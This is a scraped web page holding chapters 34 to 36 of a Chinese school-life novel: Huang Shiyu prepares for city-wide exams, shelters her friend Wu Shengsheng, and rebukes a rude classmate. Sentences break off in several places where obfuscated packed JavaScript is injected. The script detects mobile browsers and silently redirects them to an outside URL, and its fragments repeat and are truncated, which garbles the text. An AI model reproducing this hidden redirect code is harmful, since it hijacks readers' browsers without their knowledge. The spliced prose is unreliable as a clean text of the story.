这并不是黄时雨第一次被别人要微信了,几乎每一次参加活动,黄时雨都会碰到主动要联系方式的人,男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619103|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生女生都有。 不过,黄时雨并不是什么人都加,而是有两个基本筛选条件,一是对方的面相好不好,二是对方说话是否有礼貌,只有通过这两个条件的人,黄时雨才会同意。 按照这个准则,黄时雨这几年几乎没有加到过离谱的人。 “高中时代的最后一场辩论赛就此落下帷幕,很庆幸,它见证了我明媚的少女时期。每当我坐在辩论场上,看着头顶的灯光落在我的肩膀,就会感到一种蓬勃的生命力正在此刻生长,我正借着辩论的光芒感受到生命的鲜活、心脏的跳动。我想,辩论永远值得千千万万遍!” 许久没发朋友圈的黄时雨,坐在书桌前,把这段文字发送了出去。 很快就收到了许多点赞和评论。 刚刚被黄时雨通过好友申请的那个男生,也立刻发来消息—— ”我看到你发的朋友圈了,写得好好啊。” “谢谢你,如果方便的话,可以告诉我你的名字吗?” “陈幸闻。” 陈、幸、闻。 黄时雨总感觉这个名字好眼熟,像是在哪里见过。 噢,黄时雨一拍脑门,上个月阶段性考试的英语第一名! “你是上次阶段性考试的英语第一对不对?” 对面很快传来答复,“对啊,而且我知道你的英语也很不错。” 五一假期一结束,学校就换上了夏季作息,学生们也要统一穿夏季校服。 学校门口的大街上,梧桐树比之前更茂密了,阳光透过新生的树叶,在来来往往的学生身上投下斑驳的光影,宣告着整个满城正式进入夏天。 黄时雨从家里拿上风油精,每天下午上课前,就和吴笙笙一起在太阳穴上涂一点,避免被夏天的困顿腌入味。 戚老师在上面讲昨天考的卷子,更是极大地增强了催眠的效果。 黄时雨坐在最后一排,清清楚楚地看到好多同学的脑袋正一点一点的,那个距离近得说是要跟桌子亲上都不为过。 突然操场上传来超大声的音乐,原本勾着身子的同学们被吓得瞬间坐直。 黄时雨恰好坐在窗边,心里那股好奇驱使着她偷偷地拉开了一点窗户,探出头往操场上瞄了一眼。 “外面在干嘛?” 吴笙笙头也不抬地小声询问。 “好像是高三的什么活动吧,看不清楚。” 黄时雨看了一眼讲台上正低头看题的戚老师,然后稍微往外伸长了一点脖子。 都怪好奇心作祟,黄时雨非要此刻看清楚不可,不达目的,誓不罢休。 “好看吗,黄时雨?” 听到自己的名字,黄时雨猛然回头,发现教室里所有的同学都转头盯着自己。 黄时雨的脸瞬间涨红,尴尬地急需把头埋到沙子里,赶紧假装低头看试卷,一声不吭。 好不容易熬到下课铃响,黄时雨长叹一声。 “你为什么非要上课的时候去看外面发生了什么啊,太好笑了。” 黄时雨气不打一处来,“我发誓,我真的只想看一秒钟,我就想看一眼外面在干什么,结果我头还没有收回来,就被戚老师看到了。” 黄时雨无奈地摊手,把吴笙笙拉起来,跟着其他同学一起趴到走廊上围观操场盛况。 听旁边的人说,操场上正在举行高三的考前动员大会。 “为什么是今天举行啊?” “因为今天是7号啊,刚好离高考还有一个月,应该是这个意思。” 一年后,自己也将身处动员大会,也不知道那个时候,是否已经成绩稳定,是否已经心态成熟,这些关于未来的问题,也只能留给未来回答。 或许青春,本身就是一本充满变化的书。 34. 第三十四次招惹 “现在是五月底,还有最后一个月就期末考试了,高考那几天我们还要放假,总共算起来只有不到一个月了,”老赵放下白板笔,双手撑在讲台上,“这学期期末考试,是全市统考,文科在我们学校考,理科在满城二中考,最终的考试成绩要在全市拉通排名,也是我们的同学第一次参加全市拉通排名,大家要做好准备!” 全市排名?! 此消息一出,全班同学哀嚎一片。 满城市内总共就两所实力顶尖的中学,一个是满城一中,另一个是满城二中,每年的全市统考、中考、高考都是必定要一较高下的对手,每一所学校都不遗余力地想跟对手拉开差距,除了市状元这种客观存在,两个学校每年都要争自己的学校考得更好。 比如去年,满城一中的985、211人数较少,就宣传自己的一本上线率高;满城二中的分数断层严重,就宣传自己的高分人数多,全市前100名占比大…… 宿敌永远是宿敌,这次的全市统考必定也是一场腥风血雨。 新课在上个月底就全部学完了,目前已经进入一轮复习阶段。 每一门课都是一本大几百页的厚书,知识点和易错点相当全面,黄时雨每天埋头苦写有时候都完不成,还要针对自己的薄弱点回家加班加点地整理和复习。 原本设定的夜间学习时间截止在12:30,现在看来恐怕行不通了,黄时雨咬咬牙,延长到了凌晨一点。 有意思的是,对面那位“学伴”也延长了学习时间,像是在跟黄时雨比赛一样,学习时长上唯恐占了下风。 …… 6月23日,距离期末考试还剩最后一周。 “出分数线了!” 黄时雨和吴笙笙刚吃完晚饭回到教室,就看到大家三三两两围在有手机的同学身边,整个教室闹哄哄的,完全不像快要上晚自习的样子。 黄时雨一个健步冲过去,差点撞到桌子,“多少?” 听说今年的高考卷子整体上难度比较大,特别是数学,这也是黄时雨最担心的一门学科。 “你看。” 黄时雨立马拿过手机,表格里的分数线映入眼帘—— 普通一本:518。 跟黄时雨的预期大差不差。 “老赵来了!” 小赵姐从办公室方向一路跑进来,轻飘飘一句话把所有人都赶回了座位上。 有手机的同学也一个劲儿地把手机往书包里塞,想要藏得越紧越好,要真被老赵发现这问题可就大了。 果不其然,老赵来得这么早,也是来通知分数线的。 518分,黄时雨在心里浅浅估算了一下,按照津南大学每年的调档线来看,今年估计至少得要645分才能考上。 但目前黄时雨考过的最高分只有611分,还差30+,而当一个人的分数在600分以上时,每进步一分都难如登天。 当理想和现实之间存在巨大鸿沟时,人是最崩溃的。 放学铃打响,教室里呼啦啦窜出一大群学生,走出去的每个人都给这个校园留下一个疲惫的背影。 但是今天有点不同,刚刚十点出了高考成绩。 “你说今年的市状元会是我们学校的还是隔壁学校的?” “不知道诶,”黄时雨和吴笙笙顺着人流往外走,“你看我们走的这一路,也没听到哪个说。” “要是今年状元是隔壁学校的,我们明年就惨得很,肯定要疯狂压榨我们。” “邓珂诶,是邓珂!!” 后面不知道哪个男生一声大叫,然后嘴里不停念叨这个名字。 黄时雨和吴笙笙忍不住回头去看,正好跟那个声音的主人——齐章年对视上了。 齐章年也注意到了她们,拉着祝则溪快步跑到两人面前,指着手机页面激动到破音—— “快看,老刘刚发的,官方喜报!” 黄时雨把手机拿到吴笙笙旁边,“我去,690!这是人还是神啊!” “反正从我有印象开始,他一直都是高三的第一,”祝则溪在一旁补充。 刚走到校门口,外面“邓珂”的名字一直被家长们反复念叨,各种关于邓珂小时候的、也不知真假的故事在家长之间口口相传,就像夏日里的蚊虫,嗡嗡地围在校门口打转。 喜悦的、惊讶的、感叹的、敬佩的声音都融化在了六月燥热的风里,在今夜的满城上空久久萦绕。 连车里的空气中都飘满了邓珂的名字。 黄爸爸在前面自顾自地大讲特讲邓珂的传奇故事,后面两人一句话都插不进去。 什么从小就不爱看电视啊,从来不碰游戏啊之类的,反正说来说去就那几句老掉牙的故事。 “黄叔叔,苗苗,拜拜!” “拜拜!” 把吴笙笙送到家门口,黄时雨低头一看手表,居然已经快十一点了。 回到家的黄时雨快速往嘴里塞了几块面包,也顾不得跟爸妈聊邓珂了,直接钻到书房里进入满血的学习状态。 毕竟,别人考得再好那也是别人的,只有自己努力得到的才是自己的。 黄时雨拉开窗帘,不错,学伴已经坐在书桌前了。 刚写完一道物理大题,黄时雨在学期内常年不响的手机突然来电了。 屏幕上显示——吴笙笙。 “喂,笙笙?” 黄时雨刚接起电话就有一种不好的预感,这个时间打电话,该不会是吴致远又发疯了吧?! “苗苗,我能不能……来你家住啊?” 糟糕,还真让黄时雨给说中了。 多半吴致远又搞了什么换锁的幺蛾子,不让吴笙笙进门,黄时雨努力压住内心的怒火,从椅子上站起来。 “当然当然,笙笙你别着急,”黄时雨努力安抚住吴笙笙的情绪,然后立刻打开门,只见爸爸妈妈正坐在沙发上看电视。 来不及解释了,黄时雨只能简单描述一下现在的情况—— “爸妈,吴笙笙进不了家门,我们去把她接过来住行不行?” 客厅里两人同时站起来。 他们没有多问什么,毕竟谁都知道吴笙笙家是什么情况。 黄爸爸马上从桌子上拿起车钥匙,“我骑电动车去接,你让吴笙笙马上到她家小区门口!” 黄妈妈马上穿上拖鞋往厨房跑,“那我去给她烤几片面包。” “不用不用,我自己打车过来,”电话那头的吴笙笙听到这边的动静,害怕再给黄时雨家添麻烦,只能连连拒绝。 “你一个女孩晚上打车不安全,我爸已经出门了,马上就到,你先去小区门口啊,听我的!” 黄时雨在与吴笙笙保持联络,黄爸爸在去接吴笙笙的路上,黄妈妈在厨房给吴笙笙烤面包。 “笙笙,你的身后并不是空无一人,我们愿意成为你无血缘的亲人,永远。” ”谢谢,谢谢……” 吴笙笙努力克制住自己的情绪,不断哽咽着重复谢谢二字。 黄时雨听到了电话那头爸爸的声音,估摸着应该已经接到吴笙笙了,“你上车了吗?” “上车了。” “好,那我先挂了,你把头盔带好哦。” 黄时雨挂掉电话,忍不住深深叹了口气。 怎么会有这样的神经病?! 一听到敲门声,黄时雨立刻冲到门口开门—— “快进来,快进来。” 吴笙笙的眼睛还是红红的,看到黄时雨后胡乱抹去脸颊上的泪痕,努力强行挤出一个笑脸。 黄时雨什么也没说,只是默默帮她把书包拿到卧室去,招呼她坐下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619104|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为黄时雨知道,此时吴笙笙需要的仅仅只是一个温暖的家而已。 三个人都围在吴笙笙身边,看着她大口大口地啃着面包。 “笙笙,”黄妈妈首先打破沉默,“最后这几天你就在我们这儿住着,安心准备期末考试,等考试结束后,再来处理这件事,好吗?” 吴笙笙拿面包的手忽然停下,眼角又被夺眶而出的泪水湿润了,缓了好一会儿,才抬头充满歉意地看着黄妈妈和黄爸爸,“真的可以吗?” “当然可以呀,要是期末考试这段时间你能陪着我在家里学习,到时候我要是考得不错,你就是我们家的大功臣好不好!” 黄时雨急得不允许吴笙笙推辞,直接打断了她的吞吞吐吐。 黄爸爸和黄妈妈也在一旁附和。 吴笙笙眼见没法推脱,也真的感动于黄时雨一家人的恩情,“好,谢谢。” “这就对了嘛,这才是我认识的那个吴笙笙!” 黄时雨把书桌收拾出来,腾出一半留给吴笙笙,又给她拿出一双新的拖鞋,一床新的空调被,还有各种新的洗漱用品。 把吴笙笙安排妥当之后,离一点还剩下一点时间,两人决定再学一会儿。 这张书桌虽然不大,但因为是L型的,两个人同时使用也一点都不显得拥挤。 黄时雨一时投入不了学习之中,她的心里乱七八糟的。她总是会下意识地关注吴笙笙的情况,害怕她因为今晚的事留下阴影,害怕会影响她的学习成绩,也害怕她适应不了自己家的生活环境…… 黄时雨的视线,正紧紧跟随着吴笙笙的每一个动作。 直到黄时雨发现她的坐姿慢慢松弛下来,整个人又恢复成平日里在学校时的样子时,黄时雨才终于松了一口气,拿出刚刚碰到的一道有点难度的数学题准备请教—— “笙笙,这个题怎么写啊?” 现在最好的资源就在眼前,不用白不用。 “这个很简单,有现成的公式,”吴笙笙快速在草稿本上写下公式,推到黄时雨面前,“就这个。” 黄时雨看着眼前这个陌生的公式,心里七上八下的,试探性地问,“我们真的学过这个吗,我怎么一点印象都没有啊……” “是这个公式的变种啊,你看是不是。” 黄时雨认真比对了一下两个公式,发现还真有点异曲同工之妙。 吴笙笙满意地点点头,“你不用管这个是怎么推出来的,直接背下来就行。” 黄时雨立马拿出数学书,把夹在最后一页的“超纲公式”纸拿出来,又誊写了一个新的数学公式上去。 “你这不是有吗?” 黄时雨顺着吴笙笙手指的地方看过去,竟然发现自己早就记录过这个公式了。 她尴尬地笑笑,又用黑笔把刚刚写上去的内容全部划掉。 吴笙笙从黄时雨手里拿过笔,轻轻点了点这个公式,“它是从这个三角函数公式推导出来的,你可以把它们整理到一起,方便记忆。” 黄时雨若有所思地点点头,按照吴笙笙提供的方法,重新整理了一下写过的“新公式”。 时间一分一秒地流逝,指针很快就划过了一点整。 “笙笙,”黄时雨卷着被子,转头看向正平躺着闭眼准备入睡的吴笙笙。 “嗯?”吴笙笙轻轻睁开眼,借着窗户外飘进的一点月光注视着黄时雨的眼睛。 她知道黄时雨在想什么,于是伸手抓住了黄时雨的手指—— “我没事,也……能慢慢习惯。” 两个人心照不宣地从唇齿间露出一声清脆的笑声。 但黄时雨始终没有询问吴笙笙当天晚上回家的具体情况,因为对吴笙笙来说那不是家,只不过是暂时歇脚的房子。 她不属于那里,因为她要做飞翔的雁。 35. 第三十五次招惹 “苗苗,笙笙,起床了啊!” 餐厅里传来一阵盘子碰撞的声音,宣告着期末考试日正式拉开序幕。 随之而来的就是黄妈妈的敲门声。 “来了,”黄时雨没好气地翻了个身,变成背对房门的姿势。 昨天晚上,黄时雨和吴笙笙学到凌晨一点,今天的考场——满城二中恰好距离又远,这样又晚睡又早起的生活节奏谁受得了啊! “苗苗,快点啊,”吴笙笙不知道什么时候从床上坐起来了,开始坐在床边换衣服。 黄时雨的睡衣在她身上显得稍微有点大,特别是肩膀部分。 两人快速换好衣服,一阵叮叮当当的洗漱后,开始吃早餐。 “时间还早,不急,慢慢吃。” 黄爸爸还是照例送两个孩子去考场,所以经常在黄时雨面前邀功,说什么苗苗的考试考得好,自己的付出要占四成。 今天的早餐还是那个熟悉的“100”分——一根油条、两个煎蛋,外加一杯牛奶。 虽然黄时雨已经说过很多次现在的满分不是100分了,这个早餐没意义,但黄妈妈还是自有一套逻辑,比如现在—— “妈妈,你咋又搞个100分啊,我要真才考了100分就完蛋了!” 黄妈妈不以为然,“这不是说让你考100分的意思,是一种祝福懂不懂,祝你考个高分。” 突然被妈妈伸手戳了一下额头,黄时雨立刻闭嘴埋头干饭。 “等下,拿个外套,”黄妈妈从衣柜里找出两件薄外套,一人一件塞到书包里,“到时候考场空调开得大,别感冒了。” 走到门口,黄时雨最后回头,“妈妈拜拜。” 黄妈妈正收拾餐桌,“拜拜孩子们,好好考啊!” 到满城二中的距离是平时上学的两倍,黄时雨虽然还略有困意,却还是强撑着从书包里拿出一本“口袋背诵”。 第一堂考语文,这对黄时雨来说都是浮云。 黄时雨从昨天早自习折起来的那一页开始往后轻声背,第一篇就是《赤壁赋》。 “壬戌之秋,七月既望,苏子与客泛舟游于赤壁之下……” 吴笙笙见状立马加入,“清风徐来,水波不兴。举酒属客,诵明月之诗,歌窈窕之章……” 一连背了好几篇文章,道路两旁开始出现背着书包的学生的身影。 这种大型考试都是不能穿校服的,为的是避免暴露自己的来源,在阅卷时被故意打低分。 同学们从四面八方陆续赶来,有些农村的学生还是前一天晚上就坐大巴住在考点附近的酒店,第二天早上再自行前往考场。 经过红绿灯向左转,满城二中几个大字映入眼帘。 交警们在路口处拉起警戒线,牌子上写着“考试期间,暂不通行。” 这路口处也没法停车,黄爸爸只好先靠边,把两个孩子放下去。 “爸爸,我们走了。” “谢谢叔叔。” 后面的车开始疯狂按喇叭,黄爸爸只能长话短说,“加油,孩子们!” 六月的阳光亮得晃眼,把柏油马路晒出了一层浮动的热气,黄时雨和吴笙笙拉着手从人群中往校门口挤,刚走几步路,短袖就被汗水浸得贴在身上。 校门口早已挤满了人,家长们像一道堤坝,把无关人员都阻挡在校园之外,千道万道目光都黏在那些往里走的年轻背影上,直到他们走过安检处,最终消失在视野尽头。 这次统考的考试座位是随机分配的,黄时雨和吴笙笙恰好被分在了两栋楼。 跟吴笙笙告别后,黄时雨加快脚步往最里面那栋教学楼走,毕竟自己的考场还在五楼,得跑快点才行。 “黄时雨!” 一记重重的拍打落在了黄时雨的左肩,给黄时雨吓了一大跳。 本来考试心情就不怎么样,还被人莫名其妙狠狠拍了一巴掌,黄时雨真的深感无语。 真、没、礼、貌! 黄时雨强忍着怒气转过头,发现是陈幸闻。 还是男生?! 到底有没有边界感啊,服了! 念着刚认识不久,就包容一次的心态,黄时雨默默咽下去,没有追究,语气平淡地随口一问,“你在哪个考场?” 陈幸闻把准考证给黄时雨看—— A栋202考场。 啊还好,只要不是跟我一个考场就行,黄时雨心里长舒一口气。 这次的考试流程跟高考一样,不管是考场布置、题目设置还是阅卷方式都按照高考统一标准,题目是市教育局专家组统一命题,所以每一位同学的成绩都真实可信,这次考试排名也让各大中学格外重视。 随着最后一门英语考试的铃声响起,黄时雨站起来,眼看着桌上的考卷被老师收走放进密封袋,代表着此次考试正式结束。 吴笙笙收拾东西一向很慢,黄时雨就站在一楼门口的阴凉处等她。 这太阳太毒了,黄时雨一步都不敢踏出去。 黄时雨百无聊赖地看着一个又一个同学从面前走过,尽管心里一万个不乐意,也被迫听到了好几道题目的答案。 好家伙,理综选择题已经错了两个了,12分就这样丢了,黄时雨的心在滴血。 等待吴笙笙的过程有些无聊,黄时雨开始观察考试结束后的考生百态,不得不说,这个观察视角还真是绝佳。 每一个考完试的同学都要经过这里,每一个人脸上的表情都非常精彩。 比如这个戴着黑框大眼镜,留着寸头,背着黑色双肩包的身形圆圆的男生,再配上他脸上镇定自若的表情,不用说,学霸的标志; 又比如这个瘦瘦高高的、戴着细丝眼镜的、边走边在教科书上找答案的女生,大概就是中上成绩,但有一颗想考高分的心; 再比如这两个一前一后走过的女生,后面的女生忍不住凑到另一个女生身边,好奇地问这个题那个题的答案,另一个女生不得不蒙住耳朵,大喊着“我不听,我不听”的这两位,大概率成绩差不多,只不过科目各有擅长。 “黄时雨!” 突然又被人用力扯了一下书包带子,要不是黄时雨眼疾手快抓住了旁边的栏杆,现在应该人已经倒地了。 黄时雨努力站稳后,转头看到又是陈幸闻,更是气不打一处来—— “陈幸闻,你真的很没有礼貌,你知道吗?” 黄时雨受不了了,一而再再而三地动手动脚,今天再不说出来,她肺都要气炸了。 三番两次下重手,一看就是故意的吧? “啊,我怎么没礼貌了,我是在跟你打招呼啊……” 陈幸闻一脸不以为意,摊开手无奈地耸耸肩。 黄时雨现在正好有空,那就好好掰扯掰扯—— “那我告诉你。首先你现在已经是一个高二的学生了,不是小学生,小学生那一套男生通过骚扰女生来引起女生注意的技巧早就过时了,你现在长得这么牛高马大的,脑子却一点都没长,是只长□□不长灵魂吗?” 看到吴笙笙下来,黄时雨也不想继续掰扯这件无意义的事了,立刻往前跑了几步拉住她的手,留下陈幸闻独自一人。 黄时雨和吴笙笙从来不在考完试后讨论题目或答案,这是她们做同桌这么久以来养成的心照不宣的默契。 现在才五点多,黄时雨的爸爸妈妈都没下班,反正回去也没事,两个人就在学校附近随便找了家甜品店,进去找位置坐下了。 找到座位的第一件事,就是毫不犹豫地拿出手机删掉陈幸闻。 黄时雨在这种事情上一向很果断。 “笙笙,明天我陪你回家吧,怎么样?” 黄时雨舀起一勺焦糖布丁喂到嘴里,那种绵密的清甜香慢慢在嘴里化开,简直是这六月天里的一股清流。 吴笙笙叹了口气,“前几天我给他发消息他都不回,昨天晚上破天荒地还回了我一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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推开门的瞬间,一股混杂着食物馊味和汗腥味的热浪扑面而来,黄时雨和吴笙笙都下意识捏紧了鼻子。 餐桌早已看不出原本的颜色——层层叠叠的塑料餐盒全部都堆在一起,油渍从国潮装饰的外卖袋子里渗出来,在桌面上干涸成一块地图形状;客厅地板上、沙发上全都是吴致远这几天换下来的脏衣服,扔得乱七八糟,简直和吴笙笙走的那天“两模两样”。 吴笙笙像是已经见怪不怪了,她随手从鞋柜里拿出拖鞋换上,拉着黄时雨回到自己的卧室。 幸好,这里还是一片祥和之地。 床头上放着一片钥匙,吴笙笙在门上试了一下,匹配的。 “笙笙,一会儿我跟你一起打扫吧,外面太脏了。” 吴笙笙突然停下正在收拾衣柜的手,“那你就最后拖地吧,其他的我来。” 黄时雨又转头把脏乱的客厅扫视了一遍,她甚至不敢细想吴笙笙在这个家里的日子—— 为了每个月的生活费,不得不忍气吞声地操持全部家务,包括和自己年龄相仿的弟弟的全部生活起居。就算如此,还有可能因为弟弟莫名其妙发疯而被关在门外,甚至被辱骂…… 吴笙笙正在整理客厅里乱七八糟的衣服,黄时雨正拿着拖把在打扫餐厅。 黄时雨手上动作很快,小心翼翼地连鼻孔都不敢完全张开,生怕一个不小心被臭晕过去。 吴笙笙分门别类地把衣服整理成两叠,把脏衣服一股脑扔进洗衣机。 等黄时雨把地拖干净,吴笙笙差不多也洗完衣服了。 两个人牵起垃圾袋,把餐桌上、茶几上的所有垃圾都收拾干净,整整装了五个大垃圾袋。 看到客厅和餐厅又变成了原来干净整洁的样子,黄时雨和吴笙笙都同时松了一口气。 “读大学之后我再也不要回来了,这不是我家,”吴笙笙一手一袋垃圾,步伐坚定地下楼。 因为她是吴笙笙。 因为她才17岁。 因为她的人生,四面八方都是方向。 36. 第三十六次招惹 期末考试结束到暑假补课之间,仅仅相隔两天。 黄时雨还没从备考期末的紧张情绪中缓过来,马上又将迎来另一场硬仗—— 补课+准备英语竞赛。 补课期间是没有晚自习的,下午的课到六点就结束,只有要准备竞赛的同学才需要留下来,从七点一直训练到九点。 英语竞赛在一班培训,物理竞赛在三班培训。 “笙笙,走,去吃饭,”补课期间学校食堂是不开放的,虽然这件事已经被历届高二生吐槽了很多次,学校也坚决不改。 大热天吃什么都没有胃口,黄时雨和吴笙笙在小吃街上转悠了一圈,最后决定随便吃点米线。 “笙笙,吴致远这两天没发疯吧?” 黄时雨内心挣扎了好久,才试探性地问出这个问题。 吴致远今年刚中考结束,按他的成绩来说读个职高都成问题,黄时雨真的很担心天天待在家里无所事事的吴致远会不停地找吴笙笙麻烦。 “还好,我们一天面都见不着,”吴笙笙的语气很平静,像一个围观他人生活的看客。 “反正我现在就是,正常地收拾家里,避免跟他接触,这样对大家都好。” 吴笙笙往碗里加了一勺辣椒油,搅拌搅拌准备开吃。 黄时雨长舒一口气,那就好,千万不能影响吴笙笙的心情和成绩,那可是她最大的底气。 回到教室才六点半,黄时雨想着先去一班占个好位置,就抱着资料跑到一班门口。 果然,有这种想法的不止黄时雨一个,一班教室里已经来了好一些黄时雨从没见过的身影了。 “诶,你怎么坐第一排了?” 祝则溪正坐在靠窗的第一排,左手撑着头,低头在草稿纸上疯狂演算,桌子右上角还放着一杯果茶,袋子和吸管都完好无损。 直到听到黄时雨的声音,祝则溪才从一大摞书本里抬起头来—— 但他并没有回答黄时雨的问题,“我看到英语竞赛培训的名单了,你这段时间要不要坐我的位置?” “第一排,视野很好,也不容易走神。” 见黄时雨一时没有回答,祝则溪赶紧继续推销自己的“高质量座位”。 “好啊,话说你怎么没回家啊?” “因为我补课结束之后就要去美术集训了,我想着这段时间正好小陈老师也要培训,要是我有什么不懂的还可以在你们吃饭的时候问问他,到时候集训回来,文化课压力也就没那么大。” 黄时雨很能理解祝则溪的想法,时间能挤一点是一点,有这个资源必须要好好利用着。 祝则溪合上书,看了一眼教室最后面的钟表,站起来背上书包,然后把黄时雨按到自己的座位上。 “你坐,我走啦!” 眼看着英语竞赛的同学差不多都到齐了,祝则溪把书包单肩背到背上,径直往外走。 “拜拜!” 黄时雨话音刚落,就发现祝则溪忘记把买的果茶拿走了,冲门口喊了一声,“诶,你的果茶没拿!” “那是送给你的!” 祝则溪在门口转过身,笑着冲黄时雨轻轻点头,然后一溜烟跑下楼。 黄时雨还没来得及收回目光,那个黄时雨最不想看到的人就这样猝不及防地闯了进来。 千万别坐我旁边,千万别坐我旁边! 黄时雨在心里默默祈祷。 庆幸的是,没有坐旁边;不幸的是,坐在了后边。 陈幸闻一坐下就开始不消停,在后边用笔疯狂戳黄时雨的背,黄时雨无奈地转过头,语气相当冰冷,“你要干嘛?” “刚刚出去那个男生你认识吗,我都没印象,是不是没上过光荣榜啊?” 黄时雨没好气地回答,“认识,他目前确实没上过。” 陈幸闻激动地一拍手,“难怪看起来不咋样,我一看他这个面相就知道他学习不行。” 不是,你以为你是谁啊,你有什么资格在这儿对别人的外貌和成绩指指点点啊,你以为你很不得了吗?! 黄时雨无语到极点,手里的笔往桌子上一拍—— “不瞒你说,其实我也懂点面相,”黄时雨转过身去,盯着陈幸闻看了一会儿。 对方好整以暇地看着她。 “你一看就是个傻帽!” 看到老师进来,黄时雨见好就收,转过身投入到培训学习中去。 这个老师是四班、五班的英语老师,又瘦又高,戴着个红色细边眼镜,严肃的眼神扫过台下的同学,看向黄时雨的方向时,一种不寒而栗的感觉油然而生。 “可能有些同学不认识我,那我还是做个自我介绍,我叫徐霄,是四班和五班的英语老师,接下来的竞赛,全程由我来指导和带领大家,请同学们配合。” 这个老师是按照竞赛题型来讲的,第一天主要讲的是选词填空题。 她讲课的语速很快快,黄时雨一边认真听讲,一边在笔记本上疯狂记录,都显得有些来不及。 “黄时雨,B选项是什么意思啊,我刚刚没听到,”陈幸闻在背后压低声音问。 黄时雨完全不想跟他搭话,直接把笔记本立起来指给他看—— 背后传来快速写字的声音。 ——“谢谢谢谢。” 一节课一个小时,中间休息十分钟。 黄时雨放下笔揉了揉手腕,手腕的骨节一动起来就咔咔作响。 她把吸管插到果茶里,猛吸了一口。 一阵清甜的果茶香瞬间钻入味蕾,与这个晚上八点都还热意翻涌的夏天简直是绝配! 黄时雨放下果茶,转头就看到吴笙笙在门口跟自己招手,立刻放下手头的事情跑出去。 两个人靠在走廊栏杆上,在唯一拥有光亮的教学楼二楼上目睹着漆黑一片的校园—— “你们老师讲课速度快吗?” “就是快啊,”黄时雨把胳膊放到吴笙笙肩上,叹了口气,“我都已经很努力地在记笔记了,有时候都赶不上。” 吴笙笙点点头,“我之前就有所耳闻,前几届的同学都说过这件事,可能要慢慢适应。” 夏天的风轻轻吹拂过脸颊,带着一丝燥热,也带着一丝独特。 补课期间的晚上是没有铃声的,眼看着教室挂钟上的时间快指到10分了,两个人各自回班。 黄时雨刚回到座位上,陈幸闻就开始摇晃她的椅背,“刚刚那个是你好朋友吗?” “对啊。” 黄时雨不知道他要搞什么幺蛾子,冷淡地回了一句。 “那我觉得她长得不怎么样,不如你好看!” “你到底要干嘛?!” 黄时雨忍无可忍,把桌子往前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636157|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推,站起来居高临下地看着陈幸闻,眼神里流露出从未有过的厌恶—— “无人在意你的看法和评价好吗,一会儿对别人的成绩指指点点,一会儿对别人的外貌指指点点,你是来这儿读书还是来这儿当皇帝选妃,与其拿这些时间来点评别人,不如努力提升自己,毕竟成绩和外貌,你一样都不占。” 黄时雨语速极快又吐字清晰地说完了这一大段话,引得教室里的其他同学纷纷侧目,围观着黄时雨这段酣畅淋漓的反击。 陈幸闻看了一眼周围,自知理亏,一副不耐烦的样子摆摆手,“行了行了。” 黄时雨也不想跟他多说,拉开椅子坐了回去。 这节课是同学们的自由学习时间,根据上节课学习的内容,完成资料上安排的真题训练。 这些单词基本都是超纲词汇,高中阶段几乎没怎么接触过。 黄时雨左手握着一本厚厚的英语词典,右手拿着黑笔在真题上勾勾画画,遇到不会的单词,就用红笔标注出来,做完之后再统一整理到口袋笔记本上,这样随时随地都可以掏出来翻一翻,便于记忆。 对于黄时雨来说,这是最高效的学习方法。 黄时雨写英语题的速度很快,离下课还有十分钟就做完了。 她往窗口望了望,确定没有老师过来,才从书包里轻轻撕下一张便利贴,在桌上工工整整展开。 毕竟又喝了某人的果茶,又坐了某人的座位,也应该对他表示一下感谢吧。 黄时雨捏着笔撑住太阳穴,思来想去最后留下了几个字—— “谢谢小祝帅哥的座位和果茶,我很喜欢,明天继续征用!” 她把便利贴贴在了祝则溪的数学书封面上,然后努力塞到了桌肚最里面。 第一天的竞赛培训就这么因为某个人的离谱发言不愉快地结束了。 黄时雨坐在车上,还是一副闷闷不乐的样子。虽然已经成功反击了,但是黄时雨总觉得自己刚才表现得不够好,攻击力太弱了,没有达到自己最想要的效果。 “别想了,苗苗,”黄爸爸从后视镜里观察着黄时雨的表情,心平气和地安慰她,“别让这些糟心事毁了你的好心情,不值得,听到没有?” “哦,”黄时雨皱着眉头轻轻答应了一声。 回家的路有很长一段是沿着江边的。 听说和大自然接触可以缓解不良情绪,黄时雨便把车窗缓缓摇下来。 晚风裹挟着水汽拂过,褪去了白天的燥热。散步的人们三三两两沿着堤岸漫步,来来往往的影子被路灯拉得老长,在沥青路面上交错重叠。 